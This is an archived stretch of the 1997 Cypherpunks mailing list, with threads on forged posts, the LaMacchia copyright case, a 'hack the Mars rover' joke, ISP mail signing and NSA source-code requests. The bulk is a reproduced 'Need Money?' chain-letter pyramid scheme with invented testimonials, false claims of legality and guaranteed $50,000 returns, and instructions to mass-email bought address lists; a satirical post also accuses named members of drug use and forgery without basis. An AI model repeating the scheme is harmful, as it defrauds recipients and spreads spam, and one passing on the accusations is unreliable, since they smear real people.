To: cypherpunks@toad.com
Subject: Re: Forged Posts
Message-ID: <199707080336.VAA28514@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> again.
> 
> While I was out of town, he arranged to have this message sent:
> 
> At 5:20 PM -0700 7/2/97, Tim May wrote:
> >  Anything that isn't nailed down, is mine.
> >  Anything that I can pry loose, isn't nailed down.

  "Toto" is actually an anonymous pseudonym of Adam Back, who resents
Tim May's respected position on the list. "TruthMonger" posts are 
usually written by John Young and Robert Hettinga as a result of 
having the same drug connections and thus a common outlook on life
when they are stoned out of their gourds.
  Lucky Green's recent posts are actually forgeries done by snow, and
Kent Crispin has been sending posts purporting to be from Dr. Vulis.

  The fact is, forgeries have gotten so out of hand on the cypherpunks
list that even the "can i join" and "subscribe me" posts of late are
probably coming from John Gilmore, who is forging AOL return addresses
in an attempt to bring calls for his return to hosting the list in
order to save us from "The Night of the Living Newbies."

BadRemailer
"Some people just can't keep a secret."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 8 Jul 1997 10:36:51 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <2seH0D1w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970707221804.28812B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I revisited the LaMacchia case in an article recently:
    
  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

-Declan


On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> nobody@REPLAY.COM (Anonymous) writes:
> 
> > On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> > 
> > > Mike <Michael.Johnson@mejl.com> writes:
> > > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > > violation (please correct me if I'm wrong),
> > >
> > > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > > He got arrested and charged with something irrelevant (wire fraud??).
> > 
> > The case against him was lost.
> 
> I was studying up on his case just the other day and wasn't sure
> if it was all over.  The DA fucked up by charging him with something
> totally irrelevant and not copyright violations.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 8 Jul 1997 10:38:18 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Fw: Hack the Mars rover
Message-ID: <199707080220.WAA26595@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713713.multipart/signed"

--Boundary..3971.1071713713.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Probably a very bad plan unless you like prison food...

Like the downside if you get caught is likely to be non-trivial.
Imagine an outcry above the Mitinic level and bellow the McVeigh
level...

On the other hand I would not be too sure about the level of security
being exceptional. I know that the NSA was not involved in giving
security advice on Federal Web server setup until very recently (after
the CIA raid).

I suspect that the result of Lucky's mail is thart some poor guy is now
going to have to sit up nursing a comms link watching for attempts to
penetrate. Mentioning possible security holes in specific installations
in public is not really fair. I know of one well known security
consultant who claimed to have reported a security weakness at a
particular site. Caused a massive panic. When the alledged report could
not be found you can guess what happened to the guys chances of getting
any business...


Phill
 ----
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Newsgroups: ailab.cypherpunks
Date: Monday, July 07, 1997 5:47 PM
Subject: Re: Hack the Mars rover

>On Mon, 7 Jul 1997, Paul H. Merrill wrote:
>
>> I hate to be the one to tell you this, but taking someone's toy away
--
>> even just for awhile -- IS Denial of Service.  And, yes, 'twould be
a
>> Blast to go joyriding.
>
>Yeah, it's still DoS, but it's not quite the same as just taking the
toy
>away from everyone..
>
>-----------------------------------------------------------------------

>Ryan Anderson - <Pug Majere>     "Who knows, even the horse might
sing"
>Wayne State University - CULMA   "May you live in interesting
times.."
>randerso@ece.eng.wayne.edu                        Ohio = VYI of the
USA
>PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
>-----------------------------------------------------------------------

>
> 


--Boundary..3971.1071713713.multipart/signed
Content-Type: application/octet-stream; name="bin00000.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARAPJRsTEp7fas6tGyhdZVp+cLS
8akLKoIUeZoNCRpGZi9K+yfJJBP70x1yRzfJ2F1K9LmTz7tAw8EVT9rKpQlR
0Q==
--Boundary..3971.1071713713.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:06:46 +0800
To: frissell@panix.com
Subject: Re: DCSB: Duncan Frissell and MarketEarth
Message-ID: <3.0.32.19970707223104.00a0d308@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:25 PM 7/7/97 -0400, Robert Hettinga wrote:

>"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous
>
>Mr. Frissell, an Attorney, privacy consultant, and author, has worked
>in what he insists on calling the "Right Wing Nut Investment Community"
>for more than 20 years.
.............................................................


What sort of things have you authored, Duncan?  Books? Articles?
Something we could look up & read?


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:11:38 +0800
To: cypherpunks@toad.com
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230702.00a179c4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:54:17 +0800
To: cypherpunks@toad.com
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230946.00a1a32c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ashish Mahajan <ashish-mahajan@usa.net>
Date: Tue, 8 Jul 1997 12:24:19 +0800
To: <cypherpunks@toad.com>
Subject: Need Money? This REALLY works!!!
Message-ID: <199707080404.AAA05420@sable.cc.vt.edu>
MIME-Version: 1.0
Content-Type: text/plain




NOTE: "If you have not requested this message then please disregard and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU NEED MORE MONEY!?!"

Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to waste your time, so pay close attention.  The plan is SIMPLE, and actually WORKS, for one reason only:  "32 cents"  

By this I mean a lack thereof...no letters to mail.  Only a few strokes of your keyboard and a few thousand emails moving at the speed of light, for FREE, other than your internet access fee.  It's started with VERY MINIMAL  outlay ($20) and the income return will have you laughing in DISBELIEF all the way to the bank.  Do it now or hear about it later...read on please, and thank me when you make your first $1000....

Talk to you in eight weeks...
 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it.
 
My name is Christopher Erickson.  Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated.  After unproductive job interviews,  I decided to open my own business.  Over the past year, I incurred many unforeseen financial problems.  I owed my family, friends, and creditors over $35,000.  The economy was taking a toll on my business and I just couldn't seem to make ends meet.  I had to refinance and borrow against my home to support my family and struggling business.  I truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!!
 
In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various business opportunities.  All of the programs I received, in my opinion, were not cost effective.  They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not.  One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it.
 
But like I was saying, in December of '95 I received this program.  I didn't send for it, or ask for it, they just got my name off a mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much as I wanted to start, without putting  me further in debt.  After I got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
 
Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter how much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting and mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT #2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.  Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but you must follow it EXACTLY!  Especially the rules of not trying to place your name in a different place.  It doesn't work, you'll lose out on a  lot of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will  make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.
 
If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program.  Eleven months passed, then it came.  I DIDN'T throw this one away.  I made $41,000 on the first try."
 
                                        Dawn W., Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to.  So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me."
 
                                        Alan B., Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out.  It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand  experience. There were more failures and bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.  You have just received information that can  give you financial freedom for the rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT."  You can make more money in the next few months  than you have ever imagined.
 
I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already made over FOUR MILLION DOLLARS!  I have retired from the program after sending out over 16,000 programs.  Now I have several offices which market this and several other programs here in the US and overseas.  By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of the people you send this to may send out 50,000...and your name will be on every one of them!.  Remember though, the more you send out, the more potential customers
you will reach.
 
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could happen when YOU participate.  Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money!  Definitely get back what you invested.  Any doubts you have will  vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson, Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response.  Using a good list the response could be much better.  Also many people will send out hundreds of thousands of programs instead of 2,000.  But continuing with this example, you send out only 2,000 programs.  With a .5% response, that is only 10 orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT #3 will show you the best methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail.  If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the more people will be doing business using email.  Get your piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's.  This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM.  Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say "Bull", please read  the program carefully.
 
This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
 
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by ordering the REPORT from each of the four 4 names listed on the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.   International orders should also include $1 extra for postage.  It is essential  that you specify the NAME and NUMBER of the report requested to the person you are ordering from.  You will need ALL FOUR (4) REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
STEP (2) Now you have to make some changes in this email message before you are ready to start sending it out.  Replace  the  name  and  address  under  REPORT #1  with yours, moving the one that was there down to REPORT #2.   Drop  the  name and address  under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4.   The name and address that was under REPORT #4 is dropped from the list and  this party  is  no doubt on the way to the bank.  When doing this, make certain you  type the names and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
STEP (3)   Having made the required changes in the NAME list, save it as a text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4)   Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this  fabulous  money-making opportunity. that's what I did.  And they love me now, more than ever. Then, email to anyone and everyone!  Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an old list, so always request a FRESH, NEW list. You will find out where to purchase these lists when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
 
ORDER REPORT #1 FROM:

Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
 
ORDER REPORT #2 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
 
ORDER REPORT #3 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
 
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than "YES", and this is the question that you must answer.  Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change.  Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information.  You will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product for $5 that costs me pennies to produce and email.  I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam.  At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.  After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise.  As you learned from the enclosed  material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program.  The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to make up my mind to participate in this program.  But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back.  BOY, was I ever surprised when I found my medium sized post office box crammed with orders!  I will make more money this year than any ten years of my life before."
 
                                        Mary Riceland, Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have them when the orders start coming in.  When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You must remember,  your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.
 
4.        Obtain as many email addresses as possible to send until you
           receive the information on mailing list companies in REPORT #3.
 
5.        Decide on the number of programs you intend to send out.  The more you  send, and the quicker you send them, the more money  you will make. 

6.        After mailing the programs, get ready to fill the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply this:  you must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two weeks, email out more programs until you do.  Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do.  Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and  relax, because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  

Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 13:22:19 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707080506.AAA14434@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97 
   at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I've replaced OS/2 on it by Windows 95.

Sorry to hear of your downgrade. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Tue, 8 Jul 1997 13:27:52 +0800
To: cypherpunks@ssz.com
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>
Message-ID: <vpd8ouyv8j.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Bill Stewart writes:

BS> At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>> Anyone heard of a proposal for ISPs to automatically sign outgoing
>> mail headers?  Problem has been that spammers send email by one
>> path but forge a reply-to or from address at another location.

BS> Flat-out can't work.  The problem is that you can send SMTP
BS> directly from your machine to its destination, so the ISP only
BS> routes the IP packets and doesn't read them.

	But it could - it's simple firewall technology.  There's no MX
record for sten.tivoli.com, but any incoming email to me is
intercepted by proxy.tivoli.com, as is all other incoming traffic to
the internal tivoli.com network on port 25.  Since 'incoming' is only
a matter of definition, it would be trivial for an ISP to set up a
firewall that passed all other ports through transparently, but
redirected connections with a destination of port 25 to their own SMTP
server.

	I don't want them to, and I _certainly_ don't want the
government goons requiring ISPs to do this, but don't sit back and
relax with the notion that 'it can't be done'.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 15:31:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <v03102809afe79a64b197@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 PM -0700 7/7/97, Bill Frantz wrote:

>You will have to decide for yourself how important the extra "convenience"
>of an electronic copy is compared with the publisher's stated intent to
>"never do this again" if it is posted.  It is a simple case of future
>benefit vs. immediate gratification.

Anytime a statement like this is made, one can count on the text being
posted. The act of posting such a warning, seen as a dare to many, or as a
suddenly very attractive target, ensures that it will be posted.

Either by someone just wanting to be the one to provoke an action, or by
the imp of the perverse, or by some TLA spook seeing in his posting the
solution to the problem of crypto knowledge proliferation.

(Not to mention being posted by someone who thinks it more important that
the knowledge get spread widely than that the publisher collect incremental
revenues.)

Similarities with such warnings to children--or to the infamous "Don't
think about the color blue for the next minute"--are left for you to ponder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 13:58:29 +0800
To: cypherpunks@toad.com
Subject: Re: FYI: NSA Requests Source Code From Elvis+
Message-ID: <199707080547.AAA14817@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713713.multipart/signed"

--Boundary..3971.1071713713.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>, on
07/07/97
   at 02:43 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Mon, 7 Jul 1997, Ulf [iso-8859-1] M÷ller wrote:

>> Why should the US government get access to the source code of foreign
>> product being imported to the US?

>Because they are scum who don't care about the property rights of
>corporations.  I wonder what would happen if Sun would instead say "Fuck
>you no way" or whether they were threatened into giving it up?

Well if Sun, M$, N$, IBM, HP, et. al. had some balls and told the NSA a
long time ago to "Fuck Off" we wouldn't see all this tap dancing around
ITAR right now.

"Either we all hang together or we will all assuredly hang"

--
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html          
---------------------------------------------------------------

PGP signature



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gbrd-man <snifong@ix.netcom.com>
Date: Tue, 8 Jul 1997 13:57:21 +0800
To: "bennett_t1@popmail.firn.edu>
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <01BC8B3F.78F2A660.snifong@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bennett,
I think you need to send this guy your flame form, too.

